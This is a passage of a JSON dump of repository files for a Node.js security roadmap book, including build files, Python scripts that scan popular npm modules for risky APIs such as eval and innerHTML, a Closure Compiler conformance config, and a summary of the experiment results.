[
  {
    "path": ".bookignore",
    "content": "app.yaml\nMakefile\nbook.json.withcomments\nappendix/**/*.py\nappendix/**/*.textproto\nchapter-2/example/**/*.js\nchapter-2/experiments/**/*.js\nchapter-7/examples/**/*.js\nCONTRIBUTING.md\n**/*.sh\nthird_party\npackage.json\npackage-lock.json\n"
  },
  {
    "path": ".gitignore",
    "content": "# See appendix/README.md for how to run experiments.\nappendix/jsconf/externs\nappendix/tools\n# Generated by `npm install`\nnode_modules\nnpm-debug.log\nchapter-2/example/package-lock.json\n# Generated by Makefile\nwww\ndeploy\n.*.tstamp\n#book.json  # Should be ignored but breaks gitbook\n# Generated by `gitbook serve\n_book\n# Emacs droppings\n.\\#*\n*~\n# Python droppings\n*.pyc\n"
  },
  {
    "path": ".well-known/security.txt",
    "content": "Contact: mikesamuel@gmail.com\nAcknowledgement: https://github.com/google/node-sec-roadmap/tree/master/CONTRIBUTORS.md\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "# How to Contribute\n\nWe'd love to accept your patches and contributions to this project. There are\njust a few small guidelines you need to follow.\n\n## Contributor License Agreement\n\nContributions to this project must be accompanied by a Contributor License\nAgreement. You (or your employer) retain the copyright to your contribution;\nthis simply gives us permission to use and redistribute your contributions as\npart of the project. Head over to <https://cla.developers.google.com/> to see\nyour current agreements on file or to sign a new one.\n\nYou generally only need to submit a CLA once, so if you've already\nsubmitted one (even if it was for a different project), you probably\ndon't need to do it again.\n\n## Code reviews\n\nAll submissions, including submissions by project members, require review. We\nuse GitHub pull requests for this purpose. Consult\n[GitHub Help](https://help.github.com/articles/about-pull-requests/) for more\ninformation on using pull requests.\n"
  },
  {
    "path": "CONTRIBUTORS.md",
    "content": "* [Ali Ijaz Sheikh](https://github.com/ofrobots)\n* [Franziska Hinkelmann](https://github.com/fhinkel/)\n* [Jen Tong](https://github.com/mimming)\n* [John J. Barton](https://github.com/johnjbarton)\n* [Justin Beckwith](https://github.com/JustinBeckwith)\n* [Mark S. Miller](https://github.com/erights)\n* [Mike Samuel](https://github.com/mikesamuel)\n* [Myles Borins](https://github.com/mylesborins)\n\nSpecial thanks for feedback and criticism:\n\n* [Matteo Collina](https://github.com/mcollina)\n* [Rich Trott](https://github.com/Trott)\n"
  },
  {
    "path": "LICENSE",
    "content": "Markdown and gitbook content is (C) Google LLC and is\nmade available under\nhttps://creativecommons.org/licenses/by/4.0/\n\n\nCode is avilable under the Apache 2.0 License\n---------------------------------------------\nCopyright 2017 Google LLC\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License."
  },
  {
    "path": "Makefile",
    "content": "# This Makefile builds various versions of the Gitbook, runs\n# sanity checks, and sets up a deployment directory.\n#\n# See `make help`\n\ndefine HELP\nTargets\n=======\n`make book`         puts HTML files under www/\n`make pdf`          builds the PDF version\n`make serve_static` serve the book from http://localhost:4000/\n`make serve`        launch the builtin gitbook debug server\n`make check`        runs sanity checks\n`make deploy`       builds the deployment directory and runs checks\n\nSetup\n=====\nThis assumes that PATH includes\n   https://github.com/gjtorikian/html-proofer\n   https://calibre-ebook.com/download\nthat the following environment variables point to reasonable values:\n   HTML_PROOFER   # path to htmlproofer executable\n   CALIBRE_HOME   # path to directory containing calibre executables\n\nDeploying\n=========\n`make deploy` builds the deploy directory.\nFrom that directory `gcloud app deploy --project node-sec-roadmap`\ndeploys to the canonical location if you have the right\nprivileges and have run `gcloud auth login`.\nendef\nexport HELP\n\n\nROOT_DIR:=$(shell dirname $(realpath $(lastword $(MAKEFILE_LIST))))\n\n# External dependency used to detect dead links\nifeq ($(HTML_PROOFER),)\n  HTML_PROOFER:=${HOME}/.gem/ruby/2.4.0/gems/html-proofer-3.8.0/bin/htmlproofer\n  ifeq (,$(wildcard ${HTML_PROOFER}))\n\tHTML_PROOFER:=/bin/echo\n  endif\nendif\n\n# External dependency used to build pdf\nifeq ($(CALIBRE_HOME),)\n  CALIBRE_HOME:=/Applications/calibre.app/Contents/console.app/Contents/MacOS/\nendif\n\n\n# Bits that gitbook depends on\nGITBOOK_DEPS := node_modules book.json cover.md SUMMARY.md CONTRIBUTORS.md \\\n\t\t$(wildcard chapter-*/*.md) appendix/experiments.md \\\n\t\tstyles/website.css images/*\n\n\nhelp:\n\t@echo \"$$HELP\"\n\nbook.json : book.json.withcomments\n\t@cat book.json.withcomments \\\n\t| perl -ne 'print unless m/^[ \\t]*#/' > book.json\n\npdf : www/node-sec-roadmap.pdf\nwww/node-sec-roadmap.pdf : $(GITBOOK_DEPS)\n\tPATH=\"${PATH}:./node_modules/.bin/:${CALIBRE_HOME}\" \\\n\t    ./node_modules/.bin/gitbook pdf . www/node-sec-roadmap.pdf\n\nbook : www/.book.tstamp\nwww/.book.tstamp : $(GITBOOK_DEPS)\n\t\"${ROOT_DIR}\"/node_modules/.bin/gitbook build . www\n\t@touch www/.book.tstamp\n\ncheck : .check.tstamp\n.check.tstamp : deploy/.deploy.tstamp\n\ttouch .check.tstamp\n\techo Checking that we correctly capitalize npm and Nodejs\n\techo and that all Markdown link names are defined.\n\t@! find deploy/www/ -name \\*.html \\\n\t    | xargs egrep '\\]\\[|[nN][oO][dD][eE]J[sS]|\\bN[Pp][Mm]\\b' \\\n\t    | egrep -v 'x\\[a\\]\\[b\\]|this\\[x\\]\\[|[.]jfrog[.]com/'\n\techo Checking for dead links\n\t@if [ \"${HTML_PROOFER}\" = \"/bin/echo\" ]; then \\\n\t\techo \"Warning: HTML_PROOFER not available\"; \\\n\telse \\\n\t\techo Running htmlproofer; \\\n\t\t\"${HTML_PROOFER}\" \\\n\t\t  --alt-ignore=example/graphs/full.svg \\\n\t\t  \"${ROOT_DIR}\"/deploy/www/; \\\n\tfi\n\t@find deploy -name node_modules \\\n\t    || (echo \"deploy/ should not include node_modules\"; false)\n\nserve : $(GITBOOK_DEPS)\n\t\"${ROOT_DIR}\"/node_modules/.bin/gitbook serve\n\nserve_static : book\n\tpushd www; python -m SimpleHTTPServer 4000; popd\n\nclean :\n\trm -rf www/ deploy/ _book/ book.json .*.tstamp\n\nnode_modules : package.json\n\tnpm install --only=prod\n\t@touch node_modules/\n\ndeploy : deploy/.deploy.tstamp check\ndeploy/.deploy.tstamp : book pdf app.yaml\n\trm -rf deploy/\n\tmkdir deploy/\n\tcp app.yaml deploy/\n\tcp -r www/ deploy/www/\n\t@touch deploy/.deploy.tstamp\n"
  },
  {
    "path": "README.md",
    "content": "# Node.js Security Roadmap\n\nThe security roadmap is a [gitbook](https://toolchain.gitbook.com/)\npublication available at\n*[nodesecroadmap.fyi](https://nodesecroadmap.fyi)*.\n\n```sh\n$ npm start\n```\n\nwill serve the book via `localhost:4000`.\n\n```sh\n$ make help\n```\n\nwill display help information about other options.\n\nPlease file errata at the\n[issue tracker](https://github.com/google/node-sec-roadmap/issues)\nor send us a pull request.\n\nIf you'd like to help out, please also see our\n[contribution guidelines](CONTRIBUTING.md).\n"
  },
  {
    "path": "SUMMARY.md",
    "content": "# Summary\n\n*  [Threat Environment](chapter-1/threats.md)\n  *  [Zero Day](chapter-1/threat-0DY.md)\n  *  [Buffer Overflow](chapter-1/threat-BOF.md)\n  *  [Weak Crypto](chapter-1/threat-CRY.md)\n  *  [Poor Developer Experience](chapter-1/threat-DEX.md)\n  *  [Denial of Service](chapter-1/threat-DOS.md)\n  *  [Exfiltration of Data](chapter-1/threat-EXF.md)\n  *  [Low Quality Code](chapter-1/threat-LQC.md)\n  *  [Malicious Third-Party Code](chapter-1/threat-MTP.md)\n  *  [Query Injection](chapter-1/threat-QUI.md)\n  *  [Remote Code Execution](chapter-1/threat-RCE.md)\n  *  [Shell Injection during Production](chapter-1/threat-SHP.md)\n  *  [Unintended Require](chapter-1/threat-UIR.md)\n  *  [Recap](chapter-1/recap.md)\n*  [Dynamism when you need it](chapter-2/dynamism.md)\n  *  [Dynamic Bundling](chapter-2/bundling.md)\n  *  [Production Source Lists](chapter-2/source-contents.md)\n  *  [What about eval?](chapter-2/what-about-eval.md)\n  *  [Synthetic Modules](chapter-2/synthetic-modules.md)\n  *  [Bounded Eval](chapter-2/bounded-eval.md)\n*  [Knowing your dependencies](chapter-3/knowing_dependencies.md)\n*  [Keeping your dependencies close](chapter-4/close_dependencies.md)\n*  [Oversight](chapter-5/oversight.md)\n*  [When all else fails](chapter-6/failing.md)\n*  [Library support for safe coding practices](chapter-7/libraries.md)\n  *  [Query languages](chapter-7/query-langs.md)\n  *  [Child processes](chapter-7/child-processes.md)\n  *  [Structured strings](chapter-7/structured-strings.md)\n\n----\n\n*  [Appendix: Experiments](appendix/experiments.md)\n*  [Contributors](CONTRIBUTORS.md)\n*  [License](license.md)\n*  [Errata](https://github.com/google/node-sec-roadmap/issues)\n"
  },
  {
    "path": "app.yaml",
    "content": "# cloud.google.com/appengine/docs/standard/python/config/appref\nruntime: python27\napi_version: 1\nthreadsafe: true\n\nhandlers:\n- url: /\n  static_files: www/index.html\n  upload: www/index.html\n  secure: always\n  mime_type: text/html; charset=UTF-8\n  expiration: 30m\n\n- url: /(.*[.]html)$\n  static_files: www/\\1\n  upload: www/(.*[.]html)$\n  secure: always\n  mime_type: text/html; charset=UTF-8\n  expiration: 30m\n\n- url: /(.*[.]css)$\n  static_files: www/\\1\n  upload: www/(.*[.]css)$\n  secure: always\n  mime_type: text/css; charset=UTF-8\n  expiration: 30m\n\n- url: /(.*[.]js)$\n  static_files: www/\\1\n  upload: www/(.*[.]js)$\n  secure: always\n  mime_type: text/javascript; charset=UTF-8\n  expiration: 30m\n\n- url: /(.*[.]json)$\n  static_files: www/\\1\n  upload: www/(.*[.]json)$\n  secure: always\n  mime_type: application/json; charset=UTF-8\n  expiration: 30m\n\n- url: /(.*[.]txt)$\n  static_files: www/\\1\n  upload: www/(.*[.]txt)$\n  secure: always\n  mime_type: text/plain; charset=UTF-8\n  expiration: 30m\n\n- url: /(.*[.]svg)$\n  static_files: www/\\1\n  upload: www/(.*[.]svg)$\n  secure: always\n  mime_type: image/svg+xml; charset=UTF-8\n  expiration: 30m\n\n- url: /(.*[.](ico|dot|eot|otf|png|ttf|woff|woff2|pdf))$\n  static_files: www/\\1\n  upload: www/(.*[.](ico|dot|eot|otf|png|ttf|woff|woff2|pdf))$\n  secure: always\n  expiration: 30m\n\nskip_files:\n- ^(.*/)?#.*#$\n- ^(.*/)?.*~$\n- ^(.*/)?.*\\.py[co]$\n- ^(.*/)?.*/RCS/.*$\n- ^(.*/)?\\.(?!well-known(?:/|$)).*$\n"
  },
  {
    "path": "appendix/.gitignore",
    "content": "node_modules/**\nseparate-modules/**\n**~\n**.pyc\n"
  },
  {
    "path": "appendix/bad-pattern-grep/experiment.py",
    "content": "#!/usr/bin/python\n\n# Copyright 2017 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"\nLook for problematic patterns like calls to eval and assignments\nto innerHTML that often lead to XSS when not consistently guarded.\n\"\"\"\n\nimport py_common.npm\nimport re\nimport sys\n\n_LEFT_BOUNDARY = r'(?<![.$_\\w])'\n_RIGHT_BOUNDARY = r'(?![.$_\\w])'\n\n_PATTERNS = (\n    ('eval',\n     re.compile(_LEFT_BOUNDARY + r'eval' + _RIGHT_BOUNDARY)),\n    ('Function constructor',\n     re.compile(_LEFT_BOUNDARY + 'new\\s*Function' + _RIGHT_BOUNDARY)),\n    ('innerHTML assignment',\n     re.compile('[.]\\s*(inner|outer)HTML\\s*=')),\n    ('URL property assignment',\n     re.compile('[.]\\s*(src|href)\\s*=')),\n)\n\ndef find_violations(node_modules, module_name):\n    violations = []\n    js_srcs = py_common.npm.js_srcs_almost_worst_case(node_modules, module_name)\n    for (_, js_path) in js_srcs:\n        content = py_common.npm.preprocess_js_content(file(js_path, 'r').read())\n        for (rule_name, pattern) in _PATTERNS:\n            for _ in pattern.finditer(content):\n                violations.append(rule_name)\n    return violations\n\n\nif __name__ == '__main__':\n    (node_modules, separate_modules, top100_txt) = sys.argv[1:]\n\n    top100 = [x for x in file(top100_txt).read().split('\\n') if x]\n\n    # Maps rule identifiers to sets of offending modules.\n    rule_violations = {}\n\n    module_count = 0\n    for module_name in top100:\n        violations = find_violations(node_modules, module_name)\n        if 'Parse error' in violations or 'Argument list too long' in violations:\n            pass\n        else:\n            module_count += 1\n        for v in violations:\n            if v in rule_violations:\n                vmap = rule_violations[v]\n            else:\n                vmap = rule_violations[v] = {}\n            vmap[module_name] = vmap.get(module_name, 0) + 1\n\n    # TODO: exclude Parse error and Argument list too long\n\n    print \"## Grepping for Problems {#grep-problems}\"\n    print \"\"\n    print \"JS Conformance uses sophisticated type reasoning to find\"\n    print \"problems in JavaScript code\"\n    print \"(see [JS Conformance experiment](#jsconf)).\"\n    print \"It may not find problems in code that lacks type hints\"\n    print \"or that does not parse.\"\n    print \"\"\n    print \"Grep can be used to reliably find some subset of problems that\"\n    print \"JS Conformance can identify.\"\n    print \"\"\n    print \"If grep finds more of the kinds of problems that it can find\"\n    print \"than JS Conformance, then the code cannot be effectively vetted\"\n    print \"by code quality tools like JS Conformance.\"\n    print \"\"\n    print \"| Violation | Count of Modules | Total Count | Quartiles |\"\n    print \"| --------- | ---------------- | ----------- | --------- |\"\n    for (v, vmap) in sorted(rule_violations.items()):\n        count = 0\n        total_count = 0\n        values = vmap.values()\n        for n in values:\n            count += 1\n            total_count += n\n        values += [0] * (module_count - count)\n        values.sort()\n        quartiles = '%d / %d / %d' % (\n            values[len(values) >> 2],\n            values[len(values) >> 1],\n            values[(len(values) * 3) >> 2],\n        )\n        print \"| `%s` | %d | %d | %s |\" % (\n            v, count, total_count, quartiles)\n"
  },
  {
    "path": "appendix/dyn-load/experiment.py",
    "content": "#!/usr/bin/python\n\n# Copyright 2017 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Looks for dynamic code loading patterns.\n\nPatterns to identify include\n\n  * require(...) where ... is not a string literal.\n  * eval\n  * Function(...) where there is more than one argument or the sole\n    argument is not a function.\n\n\"\"\"\n\nimport json\nimport os.path\nimport py_common.npm\nimport re\nimport shutil\nimport sys\n\n\ndynamic_load_pattern = re.compile(\n    r'(?<![_$\\w.])require\\s*\\(\\s*[^\\s)\\\"\\']'\n#    r'(?<![_$\\w.])require\\s*(?:\\(\\s*[^\\s)\\\"\\']|[^\\(])'  # To also match indirect uses of require, like aliasing it to a variable.\n    )\n\ndef find_dynamic_load(node_modules, module_name):\n    return py_common.npm.js_srcs_matching(\n        node_modules, module_name, dynamic_load_pattern,\n        module_filter=py_common.npm.ignore_tools_that_can_run_early(module_name))\n\n\nif __name__ == '__main__':\n    (node_modules, separate_modules, top100_txt) = sys.argv[1:]\n\n    top100 = [x for x in file(top100_txt).read().split('\\n') if x]\n\n    uses = 0\n    total_count = 0\n    has_dynamic_load = {}\n    for module_name in top100:\n        js_srcs = find_dynamic_load(node_modules, module_name)\n        has_dynamic_load[module_name] = js_srcs\n        if len(js_srcs):\n            uses += 1\n        total_count += 1\n\n#    for k, v in has_dynamic_load.iteritems():\n#        print \"%s: %r\" % (k, v)\n\n    print (\n\"\"\"\n## Dynamic loads {#dynamic_load}\n\nDynamic loading can complicate code bundling.\n\n%d of %d = %1.02f%% call `require(...)` without a literal string argument.\n\"\"\" % (uses, total_count, (100.0 * uses) / total_count))\n"
  },
  {
    "path": "appendix/experiments.md",
    "content": "# npm Experiments\n\nBelow are summaries of experiments to check how compatible common npm\nmodules are with preprocessing, static checks, and other measures\nto manage cross-cutting security concerns.\n\n\n<!-- Begin generated summary -->\n\n## Grepping for Problems {#grep-problems}\n\nJS Conformance uses sophisticated type reasoning to find\nproblems in JavaScript code\n(see [JS Conformance experiment](#jsconf)).\nIt may not find problems in code that lacks type hints\nor that does not parse.\n\nGrep can be used to reliably find some subset of problems that\nJS Conformance can identify.\n\nIf grep finds more of the kinds of problems that it can find\nthan JS Conformance, then the code cannot be effectively vetted\nby code quality tools like JS Conformance.\n\n| Violation | Count of Modules | Total Count | Quartiles |\n| --------- | ---------------- | ----------- | --------- |\n| `Function constructor` | 32 | 200 | 0 / 0 / 1 |\n| `URL property assignment` | 35 | 471 | 0 / 0 / 3 |\n| `eval` | 24 | 87 | 0 / 0 / 0 |\n| `innerHTML assignment` | 17 | 81 | 0 / 0 / 0 |\n\n## Dynamic loads {#dynamic_load}\n\nDynamic loading can complicate code bundling.\n\n33 of 108 = 30.56% call `require(...)` without a literal string argument.\n\n## JS Conformance {#jsconf}\n\nJS Conformance identifies uses of risky APIs.\n\nSome modules did not parse.  This may be dues to typescript.\nJSCompiler doesn't deal well with mixed JavaScript and TypeScript\ninputs.\n\nIf a module is both in the top 100 and is a dependency of another\nmodule in the top 100, then it will be multiply counted.\n\nOut of 69 modules that parsed\n\n| Violation | Count of Modules | Total Count | Quartiles |\n| --------- | ---------------- | ----------- | --------- |\n| `\"arguments.callee\" cannot be used in strict mode` | 2 | 3 | 0 / 0 / 0 |\n| `Argument list too long` | 8 | 8 | 0 / 0 / 0 |\n| `Illegal redeclared variable: ` | 2 | 9 | 0 / 0 / 0 |\n| `Parse error.` | 31 | 232 | 0 / 0 / 2 |\n| `This style of octal literal is not supported in strict mode.` | 4 | 11 | 0 / 0 / 0 |\n| `Violation: Assigning a value to a dangerous property via setAttribute is forbidden` | 1 | 4 | 0 / 0 / 0 |\n| `Violation: Function, setTimeout, setInterval and requestAnimationFrame are not allowed with string argument. See ...` | 9 | 91 | 0 / 0 / 0 |\n| `Violation: eval is not allowed` | 1 | 3 | 0 / 0 / 0 |\n| `required \"...\" namespace not provided yet` | 7 | 30 | 0 / 0 / 0 |\n| `type syntax is only supported in ES6 typed mode: ` | 3 | 132 | 0 / 0 / 0 |\n\n## Lazy loads {#lazy_load}\n\nLazy loading can complicate code bundling if care is not taken.\n\n71 of 108 = 65.74% contain a use of require inside a `{...}` block.\n\n\n## Prod bundle includes test code {#test_code}\n\nSome of the top 100 modules are test code, e.g. mocha, chai.\nThis measures which modules, when installed `--only=prod` include\ntest patterns.\n\n50 of 108 = 46.30% contain test code patterns\n\n\n## Uses Scripts {#uses_scripts}\n\nUnless steps are taken, installation scripts run code on\na developer's workstation when they have write access to\nlocal repositories.  If this number is small, having\nhumans check installation scripts before running might\nbe feasible.\n\n4 of 979 = 0.41% use installation scripts\n\n\n<!-- End generated summary -->\n\n\n\n## Methodology\n\nThe code is [available on Github][code].\n\n```bash\n$ npm --version\n3.10.10\n```\n\n### Top 100 Module list\n\nI extracted `top100.txt` by browsing to the most depended-upon\n[package list][top100] and running the below in the dev console until\nI had >= 100 entries.\n\n```js\nvar links = document.querySelectorAll('a.name')\nvar top100 = Object.create(null)\nfor (var i = 0; i < links.length; ++i) {\n  var link = links[i];\n  var packageName = link.getAttribute('href').replace(/^.*\\/package\\//, '')\n  top100[packageName] = true;\n}\nvar top100Names = Object.keys(top100)\ntop100Names.sort();\ntop100Names\n```\n\n----\n\nWe also require some tools so that we can run JSCompiler against\nnode modules.  From the root directory:\n\n```sh\nmkdir tools\ncurl https://dl.google.com/closure-compiler/compiler-latest.zip \\\n     > /tmp/closure-latest.zip\npushd tools\n  jar xf /tmp/closure-latest.zip\npopd\npushd jsconf\n  mkdir externs\n  pushd externs\n    git clone https://github.com/dcodeIO/node.js-closure-compiler-externs.git\n  popd\npopd\n```\n\n\n### Experiments\n\nEach experiment corresponds to a directory with an executable\n`experiment.py` file which takes a `node_modules` directory and the top 100\nmodule list and which outputs a snippet of markup.\n\nRunning\n\n```bash\ncat top100.txt | xargs npm install --ignore-scripts --only=prod\nmkdir separate-modules\ncd separate-modules\nfor pn in $(cat ../top100.txt ); do\n  mkdir -p \"$pn\"\n  pushd \"$pn\"\n  npm install -g --prefix=\"node_modules/$pn\" --ignore-scripts --only=prod \"$pn\"\n  popd\ndone\n```\n\npulls down the list of node modules.  As of this writing, there are 980\nmodules that are in the top100 list or are direct or indirect prod\ndependencies thereof.\n\nTo run the experiments and place the outputs under `/tmp/mds/`, run\n\n```bash\nmkdir -p /tmp/mds/\nexport PYTHONPATH=\"$PWD:$PWD/../third_party:$PYTHONPATH\"\nfor f in *; do\n  if [ -f \"$f\"/experiment.py ]; then\n    \"$f\"/experiment.py node_modules separate-modules top100.txt \\\n    > \"/tmp/mds/$f.md\"\n  fi\ndone\n```\n\nConcatenating those markdown snippets produces the summary above.\n\n```bash\n(for f in $(echo /tmp/mds/*.md | sort); do\n   cat \"$f\";\n done) \\\n> /tmp/mds/summary\n```\n\n[code]: https://github.com/google/node-sec-roadmap/tree/master/appendix\n[top100]: https://www.npmjs.com/browse/depended\n"
  },
  {
    "path": "appendix/jsconf/conformance_proto.textproto",
    "content": "# Copyright 2014 The Closure Compiler Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# This file contains example JS conformance configurations for various problems\n# with JavaScript. Since each project may want to opt-in to different rules, and\n# each project may need its own specific whitelist, the examples in this file\n# are meant to be copied to a project specific conformance_proto.textproto file.\n\nrequirement: {\n  type: BANNED_NAME\n  error_message: 'eval is not allowed'\n\n  value: 'eval'\n\n  whitelist: 'javascript/closure/base.js'\n  whitelist: 'javascript/closure/json/json.js'\n}\n\nrequirement: {\n  rule_id: 'closure:stringFunctionDefinition'\n  type: RESTRICTED_NAME_CALL\n\n  value: 'Function:function()'\n  value: 'setTimeout:function(string, ...?)'\n  value: 'setImmediate:function(string, ...?)'\n  value: 'setInterval:function(string, ...?)'\n  value: 'requestAnimationFrame:function(string, ...?)'\n\n  error_message: 'Function, setTimeout, setInterval and requestAnimationFrame are not allowed with string argument. See ...'\n}\n\nrequirement: {\n  rule_id: 'closure:windowStringFunctionDefinition'\n  type: RESTRICTED_METHOD_CALL\n\n  value: 'Window.prototype.setTimeout:function(string, ...?)'\n  value: 'Window.prototype.setImmediate:function(string, ...?)'\n  value: 'Window.prototype.setInterval:function(string, ...?)'\n  value: 'Window.prototype.requestAnimationFrame:function(string, ...?)'\n\n  error_message: 'window.setTimeout, setInterval and requestAnimationFrame are not allowed with string argument. See ...'\n}\n\nrequirement: {\n  type: BANNED_PROPERTY\n  error_message: 'Arguments.prototype.callee'\n\n  value: 'Arguments.prototype.callee'\n\n  whitelist: 'javascript/closure/base.js'  # goog.base uses arguments.callee\n  whitelist: 'javascript/closure/debug/'  # legacy stack trace support, etc\n}\n\nrequirement: {\n  type: BANNED_PROPERTY_WRITE\n  error_message: 'Assignment to Element.prototype.innerHTML is not allowed'\n\n  value: 'Object.innerHTML'\n\n  # Safe wrapper for this property.\n  whitelist: 'javascript/closure/dom/safe.js'\n\n  # Safely used in goog.string.unescapeEntitiesUsingDom_; the string assigned to\n  # innerHTML is a single HTML entity.\n  whitelist: 'javascript/closure/string/string.js'\n}\n\nrequirement: {\n  type: BANNED_PROPERTY_WRITE\n  error_message: 'Assignment to Element.prototype.outerHTML is not allowed'\n\n  value: 'Object.outerHTML'\n\n  # Safe wrapper for this property.\n  whitelist: 'javascript/closure/dom/safe.js'\n}\n\nrequirement: {\n  type: BANNED_PROPERTY_WRITE\n  error_message: 'Assignment to Location.prototype.href is not allowed'\n\n  value: 'Location.prototype.href'\n\n  # Safe wrapper for this property.\n  whitelist: 'javascript/closure/dom/safe.js'\n}\n\nrequirement: {\n  type: BANNED_PROPERTY_WRITE\n  error_message: 'Assignment to location is not allowed'\n\n  value: 'Window.prototype.location'\n}\n\nrequirement: {\n  type: BANNED_PROPERTY_WRITE\n  error_message: 'Assignment to .href property or src'\n\n  # Types with .href properties that do not extend from Element.\n#  value: 'StyleSheet.prototype.href'\n#  value: 'CSSImportRule.prototype.href'\n\n  # All other types extend from Element.\n#  value: 'Element.prototype.href'\n  value: 'Object.href'\n  value: 'Object.src'\n\n  # Safe wrapper for this property.\n  whitelist: 'javascript/closure/dom/safe.js'\n}\n\nrequirement: {\n  rule_id: 'setAttribute URL'\n  type: BANNED_CODE_PATTERN\n  error_message: 'Assigning a value to a dangerous property via setAttribute is forbidden'\n  value:\n      '/**\\n'\n      ' * @param {*} element\\n'\n      ' * @param {?} value\\n'\n      ' */\\n'\n      'function template(element, value) {'\n      '  element.setAttribute(\\'src\\', value);'\n      '}'\n  value:\n      '/**\\n'\n      ' * @param {*} element\\n'\n      ' * @param {?} value\\n'\n      ' */\\n'\n      'function template(element, value) {\\n'\n      '  element.setAttribute(\\'href\\', value);\\n'\n      '}'\n}\n\nrequirement: {\n  type: BANNED_PROPERTY_WRITE\n  error_message: 'Use of document.domain is not allowed'\n\n  value: 'Document.prototype.domain'\n}\n"
  },
  {
    "path": "appendix/jsconf/experiment.py",
    "content": "#!/usr/bin/python\n\n\"\"\"\nRuns JSConformance on each of the top 100 modules and collates the results.\n\"\"\"\n\n# Copyright 2017 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport json\nimport os.path\nimport py_common.npm\nimport re\nimport shutil\nimport subprocess\nimport sys\n\n\n_error_re = re.compile(r'(?m)^\\S+: ERROR - ((?![.]\\s)[^\\r\\n]*)')\n# Patterns that can be used to group error messages by glossing over\n# any content not in a capturing group.\n_simplifier_res = (\n    re.compile(r'^(required \").*?(\" namespace not provided yet)'),\n    re.compile(r'^(type syntax is only supported in ES6 typed mode: ).*'),\n    re.compile(r'^(Illegal redeclared variable: ).*'),\n    re.compile(r'^(Parse error[.]).*'),\n)\n\n\ndef run_jsconf(node_modules, module_name, externs):\n    \"\"\"\n    Runs JSConformance on the given module's source files.\n    \"\"\"\n    srcs = py_common.npm.js_srcs_almost_worst_case(\n        node_modules, module_name,\n        module_filter=py_common.npm.ignore_tools_that_can_run_early(module_name))\n    if not srcs:\n        raise Exception(module_name + ' has no srcs')\n    args = [\n        'java',\n        '-jar',\n        os.path.join(\n            os.path.dirname(node_modules),\n            'tools',\n            'closure-compiler-latest',\n            'closure-compiler.jar'),\n        '--process_common_js_modules',\n        '--checks-only',\n        '--third_party=true',\n        '--module_resolution=NODE',\n        '--js_module_root=%s' % os.path.realpath(node_modules),\n        '--jscomp_error=conformanceViolations',\n        '--conformance_configs',\n        os.path.join(\n            os.path.dirname(node_modules),\n            'jsconf',\n            'conformance_proto.textproto'),\n    ]\n    for (_, js_file) in srcs:\n        args += ['--js', os.path.realpath(js_file)]\n    for js_file in sorted(externs):\n        args += ['--externs', js_file]\n    #print >>sys.stderr, len(' '.join(args))\n    if len(' '.join(args)) >= 240000:  # `getconf ARG_MAX` for Mac OSX\n        return ['Argument list too long']\n    process = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n    content = process.stdout.read()\n    retcode = process.wait()\n    violations = []\n    if retcode == 0:\n        violations.append('Passed')\n    for match in _error_re.finditer(content):\n        violation = match.group(1)\n        for simpler in _simplifier_res:\n            match = simpler.match(violation)\n            if match:\n                violation = '...'.join(match.groups())\n        violations.append(violation)\n    return violations\n\nif __name__ == '__main__':\n    (node_modules, separate_modules, top100_txt) = sys.argv[1:]\n\n    top100 = [x for x in file(top100_txt).read().split('\\n') if x]\n\n    externs = set()\n    for externs_file in py_common.npm.js_files_under(\n            os.path.join(os.path.dirname(sys.argv[0]), 'externs')):\n        if os.path.basename(os.path.dirname(externs_file)) == 'tests':\n            continue\n        externs.add(externs_file)\n\n    # Maps rule identifiers to sets of offending modules.\n    rule_violations = {}\n\n\n    module_count = 0\n    for module_name in top100:\n        violations = run_jsconf(node_modules, module_name, externs)\n        if ('Parse error.' in violations\n            or 'Argument list too long' in violations):\n            pass\n        else:\n            module_count += 1\n        for v in violations:\n            if v in rule_violations:\n                vmap = rule_violations[v]\n            else:\n                vmap = rule_violations[v] = {}\n            vmap[module_name] = vmap.get(module_name, 0) + 1\n\n    # TODO: exclude Parse error and Argument list too long\n\n    print \"## JS Conformance {#jsconf}\"\n    print \"\"\n    print \"JS Conformance identifies uses of risky APIs.\"\n    print \"\"\n    print \"Some modules did not parse.  This may be dues to typescript.\"\n    print \"JSCompiler doesn't deal well with mixed JavaScript and TypeScript\"\n    print \"inputs.\"\n    print 